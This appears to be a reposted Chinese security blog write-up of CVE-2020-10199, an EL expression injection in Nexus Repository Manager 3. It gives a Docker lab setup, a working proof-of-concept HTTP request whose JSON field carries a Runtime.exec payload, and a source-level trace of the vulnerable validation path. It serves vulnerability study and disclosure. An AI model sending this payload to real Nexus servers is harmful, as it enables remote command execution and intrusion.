Nexus3 EL表达式注入浅析(CVE-2020-10199)
2020-09-23 15:31:52 Author: xz.aliyun.com(查看原文) 阅读量:324 收藏

Nexus Repository OSS是一款通用的软件包仓库管理(Universal Repository Manager)服务。

Sonatype Nexus Repository Manager 3的/service/rest/beta/repositories/go/group接口可以最少以一个低权限用户进行访问,该接口可以在访问时发送精心构造的恶意JSON数据,在渲染数据时造成EL表达式注入进而远程执行任意命令。

影响版本:Nexus Repository Manager OSS/Pro 3.x - 3.21.1

修复版本:Nexus Repository Manager OSS/Pro 3.21.2

风险:严重 -- 9.1

账号:低/高权限账号

简介

EL全名为Expression Language,为了使JSP写起来更加简单。表达式语言的灵感来自于ECMAScriptXPath表达式语言,它提供了在JSP中简化表达式的方法。

它主要用于替换JSP页面中的脚本表达式<%= %>,从各种类型的Web域中检索Java对象、获取数据。它可以很方便地访问JavaBean属性,访问数组,访问List集合和Map集合等。

EL主要作用:

  • 获取数据

    EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的web域 中检索java对象、获取数据。(某个web域 中的对象,访问javabean的属性、访问list集合、访问map集合、访问数组)

  • 执行运算

    利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算。

  • 获取web开发常用对象
    EL 表达式定义了一些隐式对象,利用这些隐式对象,web开发人员可以很轻松获得对web常用对象的引用,从而获得这些对象中的数据。
  • 调用Java方法
    EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法。

获取数据

语法:${标识符}

EL表达式语句在执行时,会调用pageContext.findAttribute方法,用标识符为关键字,分别从pagerequestsessionapplication四个域中查找相应的对象,找到则返回相应对象,找不到则返回空字符串。

EL表达式可以很轻松获取JavaBean的属性,或获取数组、CollectionMap类型集合的数据

<% 
 request.setAttribute("name","test");
%>

<%--${name}等同于pageContext.findAttribute("name") --%>

执行运算

语法:${运算表达式}

  • 关系运算符

  • 逻辑运算符

  • empty运算符:检查对象是否为null
  • 二元表达式:${user!=null?user.name :""}
  • [ ]. 号运算符,提供两种运算符来存取数据,。
加法运算:${2+2}<br/>
减法运算:${2-2}<br/>
乘法运算:${2*2}<br/>
除法运算:${2/22}<br/>

获取web对象

EL表达式语言中定义了11个隐含对象,使用这些隐含对象可以很方便地获取web开发中的一些常见对象,并读取这些对象的数据。
语法:${隐式对象名称}:获得对象的引用

序号 隐含对象名称 描 述
1 pageContext 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)
2 pageScope 代表page域中用于保存属性的Map对象
3 requestScope 代表request域中用于保存属性的Map对象
4 sessionScope 代表session域中用于保存属性的Map对象
5 applicationScope 代表application域中用于保存属性的Map对象
6 param 表示一个保存了所有请求参数的Map对象
7 paramValues 表示一个保存了所有请求参数的Map对象,它对于某个请求参数,返回的是一个string[]
8 header 表示一个保存了所有http请求头字段的Map对象,注意:如果头里面有“-” ,例Accept-Encoding,则要header[“Accept-Encoding”]
9 headerValues 表示一个保存了所有http请求头字段的Map对象,它对于某个请求参数,返回的是一个string[]数组。注意:如果头里面有“-” ,例Accept-Encoding,则要headerValues[“Accept-Encoding”]
10 cookie 表示一个保存了所有cookie的Map对象
11 initParam 表示一个保存了所有web应用初始化参数的map对象

调用Java方法

EL表达式语法允许开发人员开发自定义函数,以调用Java类的方法。

语法:${prefix:method(params)}

EL自定义函数开发包括以下三个步骤:

  • 编写一个Java类的静态方法
  • 编写标签库描述符(tld)文件,在tld文件中描述自定义函数。
  • 在JSP页面中导入和使用自定义函数

EL-RCE

EL表达式若可控,则可以进行表达式注入:

${'rai4over'.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/shell')}

使用EL配合反射完成RCE。

环境搭建

拉取包含漏洞的nexus3

docker pull sonatype/nexus3:3.21.1

运行docker容器

docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /Users/rai4over/Desktop/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g  -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3:3.21.1

8081为Web管理端口映射,5050为JDWP调试端口映射,nexus-data为数据目录,INSTALL4J_ADD_VM_PARAMS为调试参数。

Github下载Nexus源码:

git clone https://github.com/sonatype/nexus-public.git

并且切换至 3.21.0-05 分支:

git checkout -b release-3.21.0-05 origin/release-3.21.0-05

IDEA配置远程调试信息

成功后可以在org.sonatype.nexus.bootstrap.osgi.DelegatingFilter#doFilter进行断点

漏洞复现

首先需要一个至少为低权限的账户并登录(管理员账户也可以),登录后获取Cookie中的NX-ANTI-CSRF-TOKENNXSESSIONID

POC

POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: test.com:8081
Content-Length: 293
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.289429876219083
Content-Type: application/json
Accept: */*
Origin: http://test.com:8081
Referer: http://test.com:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.289429876219083; NXSESSIONID=7e3ad549-6fcb-4952-9ace-29f71614bc28
Connection: close

{
  "name": "internal",
  "online": true,
  "storage": {
    "blobStoreName": "default",
    "strictContentTypeValidation": true
  },
  "group": {
    "memberNames": ["${'rai4over'.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/shell')}"]
  }
}

发送包含EL表达式的JSON数据,执行命令在tmp中创建文件。

漏洞分析

首先根据请求路径/service/rest/beta/repositories/go/group,定位到对应的java类。

org.sonatype.nexus.repository.golang.rest.GolangGroupRepositoriesApiResource

该对象用于处理有关组Golang存储库的请求,查看RESOURCE_URI可以发现为/beta/repositories/go/group和POC请求对应,因为请求为POST根据注解@POST会调用createRepository

org.sonatype.nexus.repository.golang.rest.GolangGroupRepositoriesApiResource#createRepository

调用父类AbstractGroupRepositoriesApiResourcecreateRepository方法,传递参数为GolangGroupRepositoryApiRequest类的请求对象,包含POC传递的JSON。

org.sonatype.nexus.repository.rest.api.AbstractGroupRepositoriesApiResource#createRepository

继续跟进validateGroupMembers函数。

org.sonatype.nexus.repository.rest.api.AbstractGroupRepositoriesApiResource#validateGroupMembers

使用request.getGroup().getMemberNames()提取出参数中的memberNames为数组,然后for循环中遍历并对POC${'rai4over'.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/shell')}判断,repositoryManager.get(repositoryName)等于NULL,进入下面的else分支并将POC传入constraintViolationFactory.createViolation

org.sonatype.nexus.validation.ConstraintViolationFactory#createViolation

这里创建了HelperBean对象,并将恶意的EL表达式作为构造函数参数传入。

org.sonatype.nexus.validation.ConstraintViolationFactory.HelperBean#HelperBean

public HelperBean(final String path, final String message) {
  this.path = path;
  this.message = message;
}

具体值为:

HelperBean对象又传入validate函数,跟进关键方法。

org.hibernate.validator.internal.engine.constraintvalidation.ConstraintTree#validateConstraints(org.hibernate.validator.internal.engine.validationcontext.ValidationContext<?>, org.hibernate.validator.internal.engine.valuecontext.ValueContext<?,?>)

调用该方法进行校验,跟进addConstraintFailure

org.hibernate.validator.internal.engine.validationcontext.AbstractValidationContext#addConstraintFailure

调用interpolate方法执行表达式,messageTemplate为恶意EL表达式。

org.hibernate.validator.internal.engine.messageinterpolation.ElTermResolver#interpolate

调用栈很长,一路跟进,最终调用ElTermResolver类的interpolate渲染完成RCE。

ValueExpression对象包含恶意表达式并执行。

关键的调用栈如下:

interpolate:67, ElTermResolver (org.hibernate.validator.internal.engine.messageinterpolation)
interpolate:64, InterpolationTerm (org.hibernate.validator.internal.engine.messageinterpolation)
interpolate:112, ResourceBundleMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolateExpression:451, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolateMessage:347, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:286, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:313, AbstractValidationContext (org.hibernate.validator.internal.engine.validationcontext)
addConstraintFailure:230, AbstractValidationContext (org.hibernate.validator.internal.engine.validationcontext)
validateConstraints:79, ConstraintTree (org.hibernate.validator.internal.engine.constraintvalidation)
doValidateConstraint:130, MetaConstraint (org.hibernate.validator.internal.metadata.core)
validateConstraint:123, MetaConstraint (org.hibernate.validator.internal.metadata.core)
validateMetaConstraint:555, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForSingleDefaultGroupElement:518, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForDefaultGroup:488, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForCurrentGroup:450, ValidatorImpl (org.hibernate.validator.internal.engine)
validateInContext:400, ValidatorImpl (org.hibernate.validator.internal.engine)
validate:172, ValidatorImpl (org.hibernate.validator.internal.engine)
createViolation:64, ConstraintViolationFactory (org.sonatype.nexus.validation)
validateGroupMembers:96, AbstractGroupRepositoriesApiResource (org.sonatype.nexus.repository.rest.api)
createRepository:66, AbstractGroupRepositoriesApiResource (org.sonatype.nexus.repository.rest.api)
createRepository:83, GolangGroupRepositoriesApiResource (org.sonatype.nexus.repository.golang.rest)
CGLIB$createRepository$1:-1, GolangGroupRepositoriesApiResource$$EnhancerByGuice$$cc9abe75 (org.sonatype.nexus.repository.golang.rest)
invoke:-1, GolangGroupRepositoriesApiResource$$EnhancerByGuice$$cc9abe75$$FastClassByGuice$$8bad93f8 (org.sonatype.nexus.repository.golang.rest)

https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31

https://blog.csdn.net/ggGavin/article/details/51852026

https://www.cnblogs.com/xdp-gacl/p/3938361.html

https://www.anquanke.com/post/id/202867#h3-2


文章来源: http://xz.aliyun.com/t/8299
如有侵权请联系:admin#unsafe.sh